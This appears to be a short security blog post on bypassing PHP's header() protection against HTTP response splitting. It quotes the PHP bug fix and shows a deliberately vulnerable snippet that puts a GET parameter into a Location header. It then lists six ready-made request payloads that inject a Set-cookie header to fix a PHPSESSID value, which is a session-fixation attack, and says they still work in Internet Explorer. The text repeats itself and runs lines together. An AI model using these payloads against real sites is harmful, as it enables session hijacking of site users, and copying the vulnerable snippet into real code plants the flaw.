Recenlty we wrote about universal PHP bypass for header() function.
That trick is based on %0d byte instead of %0d%0a to split HTTP response.
Bug was fixed as you can see at changelog:
http://php.net/ChangeLog-5.php
And what about fix?
And as we wrote before, bug still available for Internet Explorer.
Source code:
GET /?r=split%0d+Set-cookie:PHPSESSID=predicated HTTP/1.1
GET /?r=split%0d%20Set-cookie:PHPSESSID=predicated HTTP/1.1
GET /?r=split%0d%09Set-cookie:PHPSESSID=predicated HTTP/1.1
GET /?r=split%0d%0a+Set-cookie:PHPSESSID=predicated HTTP/1.1
GET /?r=split%0d%0a%20Set-cookie:PHPSESSID=predicated HTTP/1.1
GET /?r=split%0d%0a%09Set-cookie:PHPSESSID=predicated HTTP/1.1
That trick is based on %0d byte instead of %0d%0a to split HTTP response.
Bug was fixed as you can see at changelog:
http://php.net/ChangeLog-5.php
Version 5.3.11
https://bugs.php.net/bug.php?id=60227 is original bugFixed bug #60227 (header() cannot detect the multi-line header with CR).
And what about fix?
for (i = 0; i < header_line_len; i++) {
/* RFC 2616 allows new lines if followed by SP or HT */
int illegal_break =
(header_line[i+1] != ' ' && header_line[i+1] != '\t') && (
header_line[i] == '\n'
|| (header_line[i] == '\r' && header_line[i+1] != '\n'));
Pay your attention to red line.
And as we wrote before, bug still available for Internet Explorer.
Source code:
<?phpAttack vectors:
header("Location: /?asd".$_GET['r']);
?>
GET /?r=split%0d+Set-cookie:PHPSESSID=predicated HTTP/1.1
GET /?r=split%0d%20Set-cookie:PHPSESSID=predicated HTTP/1.1
GET /?r=split%0d%09Set-cookie:PHPSESSID=predicated HTTP/1.1
GET /?r=split%0d%0a+Set-cookie:PHPSESSID=predicated HTTP/1.1
GET /?r=split%0d%0a%20Set-cookie:PHPSESSID=predicated HTTP/1.1
GET /?r=split%0d%0a%09Set-cookie:PHPSESSID=predicated HTTP/1.1
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https://errorcheck.net/
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